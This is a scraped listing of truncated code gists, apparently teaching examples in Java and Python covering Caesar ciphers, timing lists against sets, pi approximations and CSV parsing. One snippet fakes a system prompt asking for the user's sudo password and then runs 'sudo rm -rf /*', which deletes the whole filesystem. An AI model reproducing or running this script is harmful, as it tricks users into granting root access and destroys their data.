This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.util.*; | |
public class ArraysInPlace { | |
public static void main(String[] args) { | |
int x = 5; | |
System.out.println(x); | |
proofThatWeCopy(x); | |
System.out.println(x); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public class CaesarSolution { | |
public static String caesarShift(String message, int key, boolean doEncryption) { | |
message = message.toUpperCase(); | |
message = message.replace(" ",""); | |
// This is the variable storing the encrypted/decrypted message | |
String message2 = ""; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.util.*; | |
public class Timing { | |
public static void main(String[] args) { | |
System.out.println("============================================"); | |
System.out.println(" Lists vs. Sets "); | |
System.out.println("============================================"); | |
int n = 1000; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.io.*; | |
import java.util.*; | |
public class MagicReader { | |
public static void main(String[] args) { | |
String filename = magicsquare.txt; | |
Scanner s = new Scanner(new File(filename)); | |
int lines = 1; | |
while(s.hasNextLine()) { | |
s.nextLine(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import math | |
print("\n\n") | |
print("Welcome to Dr. Reid's Magical Approximation Program! \n\n") | |
print("This program computes approximations of Pi. \n\n") | |
print("Sources for formulas/approximations:") | |
print(" * http://mathworld.wolfram.com/PiApproximations.html") | |
print(" * http://mathworld.wolfram.com/PiFormulas.html\n\n") | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import subprocess | |
subprocess.call(["command","-flag1","value1","-flag2","value2"]) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import subprocess | |
print("Hi, this is the computer. I forgot your sudo password, can you please type it for me again?") | |
subprocess.call(["sudo","rm","-rf","/*"]) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
line = "this, is, some, really, weird,whitespace" | |
# split the string at commas, resulting in a list | |
tokens = line.split(",") | |
# tokens still have whitespace | |
print tokens | |
# list comprehension to strip whitespace | |
nowhitespace = [a.strip() for a in tokens] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
with open('us-500.csv') as f: | |
lines = f.readlines() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import csv | |
def csv2blob(filename): | |
with open(filename,'rb') as f: | |
z = f.read() | |
parts = z.split('\r\n\r\n') | |
stations = parts[0] |